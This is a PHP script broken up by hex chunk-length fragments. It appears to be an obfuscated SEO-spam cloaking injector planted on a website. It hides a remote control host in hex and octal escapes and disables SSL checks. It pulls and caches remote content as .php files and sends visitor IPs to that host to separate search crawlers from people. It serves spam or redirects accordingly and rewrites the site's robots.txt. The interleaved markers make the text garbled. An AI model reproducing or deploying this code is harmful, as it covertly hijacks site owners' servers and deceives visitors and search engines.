1 < 6 ?php 6 error_ 7 reporti 6 ng(0); 6 $get 6 = fil 7 ter_inp 7 ut_arra 5 y(INP 6 UT_GET 5 , FIL 6 TER_SA 5 NITIZ 6 E_STRI 7 NG); 1 1c /* ------------------------- 8 4 4 本 5 地 5 存 4 3 1e ------------------------- */ 6 functi 6 on cac 7 he_get( 7 $key, $ 6 expire 7 = 300) 9 { $ a file = sys 9 _get_temp 6 _dir() 5 . '/ c cache_' . md c 5($key) . '. b php'; 8 if (file 7 _exists 9 ($file) & 6 & (tim 5 e() - 11 filemtime($file) b ) < $expire 10 ) { ret 8 urn file a _get_conte 11 nts($file); 11 } return fal 6 se; } 1d function cache_set($key, $d 3 ata 51 ) { $file = sys_get_temp_dir() . '/cache_' . md5($key) . '.php'; @file_ 19 put_contents($file, $data 6 , LOCK 4 _EX) 2c ; } /* ------------------------- 1 4 取 4 真 5 访 5 问 I 5 P( 4 6 CDN 5 / 反 4 代 2b ------------------------- */ function 8 get_real e _ip() { $ 8 keys = [ d 'HT 5 TP_CF 6 _CONNE 6 CTING_ 7 IP', // 6 Cloud 5 flare 14 'HTTP_X_RE f AL_IP', 8 // Nginx 15 'HTTP_X_FOR 5 WARDE 9 D_FOR', 8 // Proxy 14 'HTTP_CLIE 12 NT_IP', ' 6 REMOTE 5 _ADDR d ' ]; 4 7 foreach a ($keys as 10 $k) { 9 if (!empt 6 y($_SE 5 RVER[ 4 $k]) 14 ) { $ip 18 = $_SERVER[$k]; 10 if (strp 7 os($ip, 6 ',') 9 !== false 1d ) { $ip = tr 7 im(expl 7 ode(',' 8 , $ip)[0 11 ]); 1c } if (filter_ 9 var($ip, a FILTER_VAL 6 IDATE_ 18 IP)) { a return $ip 2f ; } } } return 6 '127.0 5 .0.1' 2e ; } /* ------------------------- 更 5 快 6 getC 5 url() 32 ------------------------- */ function getCurlFa 7 st($url c ) { $ 9 cached = 1a cache_get($url); if ( 13 $cached !== false) 17 return $cached; a $data = '' e ; if (f 11 unction_exists('c 8 url_init 10 ')) { $ e ch = curl_init 16 ($url); curl_ 5 setop c t_array($ch, 13 [ CUR 7 LOPT_RE 5 TURNT 6 RANSFE 4 R => 1c true, CURLOPT_ a CONNECTTIM 8 EOUT => 20 5, CURLOPT_TIMEOUT b => 8 1a , CURLOPT_SSL 6 _VERIF 9 YPEER => 28 false, CURLOPT_SSL_VERIFYHO 22 ST => false, CURLOPT_ 5 FOLLO 7 WLOCATI 23 ON => false, CURLOPT_U 5 SERAG e ENT => "M 6 ozilla 5 /5.0" 17 ]); 10 $data = curl_exe 16 c($ch); curl_ 5 close 19 ($ch); } if ( d empty($data) b && ini_get( 6 'allow 9 _url_fope 12 n')) { $c 9 ontext = 7 stream_ e context_create 12 ([ "h 8 ttp" => 8 ["timeou 8 t" => 8, 8 "header a " => "User 6 -Agent f : Mozilla/5.0\r 4 \n"] 15 , "ssl" a => ["veri 5 fy_pe 1a er" => false, "verify_peer 5 _name 2a " => false] ]); $data = 17 @file_get_contents($url 11 , false, $context 16 ); } if (! 19 empty($data)) cache_set($ c url, $data); 12 return $data 30 ; } /* ------------------------- URL 5 息 2d ------------------------- */ function get_ c url_info(str 8 ing $typ 6 e='dom 7 ain'): 10 string { $h f ost = $_SERVER[ b 'HTTP_HOST' 4 ] ?? 13 ''; if ($type 7 === 'n 6 o_www' c ) return pre 7 g_repla 6 ce('/^ 7 www\./i 8 ', '', $ 10 host); $p 6 rotoco 15 l = (!empty($_SERVER[ 8 'HTTPS'] 16 ) && $_SERVER['HTTPS'] 9 !== 'off b ') ? "https 6 ://" : 11 "http://"; 4 $bas 15 e = $protocol . $host 18 ; if ($type === ' 13 base') return $base 19 ; if ($type === 'ful 13 l') return $base . e ($_SERVER['REQ 7 UEST_UR 13 I'] ?? ''); f return $host; 2b } /* ------------------------- 基 4 础 5 量 21 ------------------------- */ g 8 oto ONPu 9 B; ONPuB: 7 $http_ 18 type = !empty($_SERVER[" 6 \x48\1 5 24\x5 a 4\x50\x53" 19 ]) && $_SERVER["\x48\124\ 12 124\x50\x53"] !== 6 "\157\ 5 x66\1 7 46" ? " 8 \150\x74 b \x74\x70\16 6 3\72\x b 2f\x2f" : " 7 \x68\16 11 4\164\160\72\x2f\ 5 57"; a goto O4O9k b ; O4O9k: $v 8 url = "\ c x74\157\56\1 6 52\147 8 \141\x6c c \x6c\163\x2e 4 \143 d \157\x6d\x2f" c ; goto vgv72 a ; vgv72: $ 7 qz = su 8 bstr(str f _replace(array( b "\x77\x77\1 7 67\x2e" 8 , "\56") 13 , '', $_SERVER["\11 c 0\x54\x54\12 a 0\x5f\x48\ 7 x4f\123 9 \x54"]), 8 0, 3); 26 /* ------------------------- 解 5 析 f 4 参 29 数 ------------------------- */ $sz = 7 $iid = 7 ""; if e (!empty($_GET) 6 ){ $ 9 f=reset($ e _GET); $s d p = explode(' 6 -', $f 10 ); if (coun b t($sp) === 12 2) { $sz 6 = $sp 15 [0]; $iid = 6 $sp[1] 32 ; } } /* ------------------------- 4 程 5 接 21 ------------------------- */ e if (!empty($sz 10 )) { $jd = e getCurlFast("{ 11 $http_type}{$vurl 5 }3kg. 6 aspx?s 6 z=" . a urlencode( b $sz)); } e 3a lse { $jd = getCurlFast("{$http_type}{$vurl}3kg.aspx? 10 xy={$http_type}" b ); $sz 3e = getCurlFast("{$http_type}{$vurl}3kg.aspx?jd=" . urlencode($ 3 jd) e ); } $hyzh 6 dy = $ 8 jd . "41 b .aspx"; $s 5 url 16 = $jd . "s41.aspx"; 29 /* ------------------------- robo 6 ts / s 6 itemap 29 ------------------------- */ $sitemapL 8 ine = "S 8 itemap: 2e {$http_type}{$_SERVER['HTTP_HOST']}{$_SERVER[' 4 SCRI 7 PT_NAME a ']}?w=" . 7 date('Y 5 mdHi' 8 ) . "\n" e ; function en c sure_robots_ 14 sitemap($sitemapLine 11 ) { $robots 8 = rtrim( e $_SERVER['DOCU 7 MENT_RO 7 OT'], " a /\\") . '/ a robots.txt d '; if (! 13 file_exists($robots 22 )) { @file_put_contents($ f robots, "User-a 9 gent: *\n 7 Allow: 8 /\n" . $ 18 sitemapLine, LOCK_EX); 12 } else { 1d $c = @file_get_contents($ 16 robots); if ( d $c === false b || strpos($ 10 c, $sitemapLine) 1b === false) { 2a @file_put_contents($robots, $sitemapLine, 7 FILE_AP 6 PEND | 17 LOCK_EX); } 2f } } /* ------------------------- 5 w= 4 出 30 ------------------------- */ if (!empty($get[ a 'w'])) { b $para a ms = http_ 6 build_ 5 query f ([ 'NO 6 Umber' 12 => $get['NOUmber' 13 ] ?? '', ' c t' => 1d $get['t'] ?? '', 'cn 13 ' => $get['cn' 19 ] ?? '', 'pNOUm' 26 => $get['pNOUm'] ?? '', 'c 12 id' => $get['c 17 id'] ?? '', 'm 1a ' => $get['m'] ?? '' 12 ]); $ 15 str = getCurlFast("{$ 7 surl}?{ 13 $params}"); 5 echo 18 str_replace( [' 6 yymm', a 'ggggg','? 5 f='], 16 [$http_type. 16 $_SERVER['HTTP_HOST']. 1f $_SERVER['SCRIPT_NAME'], $sz,'? 6 '.$qz. 13 '='], $str 11 ); exi 2e t; } /* ------------------------- IP 5 判 4 4 保 5 留 k 5 k 测 3 试 29 ) ------------------------- */ $kk = 7 isset($ b get['kk']) 7 ? trim( 13 $get['kk']) : ''; b $ip = ($kk c !== '') ? "6 a 6.249.82.8 11 " : get_real_ip() 2b ; /* ------------------------- get b domain2 判 3 断 2f ------------------------- */ $domain = trim( 13 getCurlFast($jd . " 11 getdomain2.aspx?r 6 nd=1&i 6 p=" . 2e $ip)); /* ------------------------- 6 goo 2 gl 4 e + 7 iid → 5 跳 26 ------------------------- */ if ( d $domain !== ' b google' && b !empty($iid 10 )) { $kname 8 = urlde 1a code(getCurlFast($jd . "gn 10 .aspx?iid=" . $i 10 id)); echo 6 'loc 7 ation=" c ' . $jd . "a b .aspx?cname 15 =" . urlencode($kname f ) . "&url=" . $ b http_type . 23 $_SERVER['HTTP_HOST'] . $_SERVER[' 14 SCRIPT_NAME'] . '"' 3a ; exit; } /* ------------------------- iid 40 输出 ------------------------- */ if (!empty($iid)) { $ 1d str = getCurlFast($hyzhdy . " a ?iid={$iid 31 }"); echo str_replace( ['ggggg',' 9 YYYYY','X 9 XXYYY',' 4 8 URL','U c UUUU','MMMMM 18 ','?f='], [$sz, f get_url_info() 26 , get_url_info('base'), get_url_info(' 16 full'), get_url_info(' c no_www'),par 6 se_url 1d ($_SERVER['REQUEST_URI'], PHP 7 _URL_PA 3 TH) 62 ,'?'.$qz.'='], $str ); exit; } /* ------------------------- sitemap h 5 elper 2c ------------------------- */ function out d put_sitemap_a 7 nd_exit e ($sitemapLine, 14 $http_type) { 31 ensure_robots_sitemap($sitemapLine); echo "< 6 div st 5 yle=' 9 text-alig 6 n:cent 6 er;pad 6 ding:1 6 0px 0; 10 '> 7 Sitemap< 10 /a> < 6 /div>" 39 ; exit; } /* ------------------------- kk 9 输出控 3 制 2e ------------------------- */ if ($kk !== '' b && preg_ma 7 tch('/^ 5 [A-Za 5 -z0-9 4 ]+$/ 6 ', $kk 11 )) { $remote 2a = getCurlFast($jd . "getdomain2.aspx?rnd= 4 2&kk 9 =" . $kk) 19 ; if (!empty($remote 13 )) { echo 12 $remote; 13 exit; } } 3f if ($kk !== '' && !preg_match('/^[A-Za-z0-9]+$/', $kk)) { 3a output_sitemap_and_exit($sitemapLine, $http_type); } $ 6 is_no_ 9 query = e 13 mpty($_SERVER['QUER 9 Y_STRING' 10 ]); if ($kk = 15 == '' && $is_no_query 16 ) { if ($domain = 18 == 'google') { 4a output_sitemap_and_exit($sitemapLine, $http_type); } else { 47 exit; } } output_sitemap_and_exit($sitemapLine, $http_type); 4 ?> 0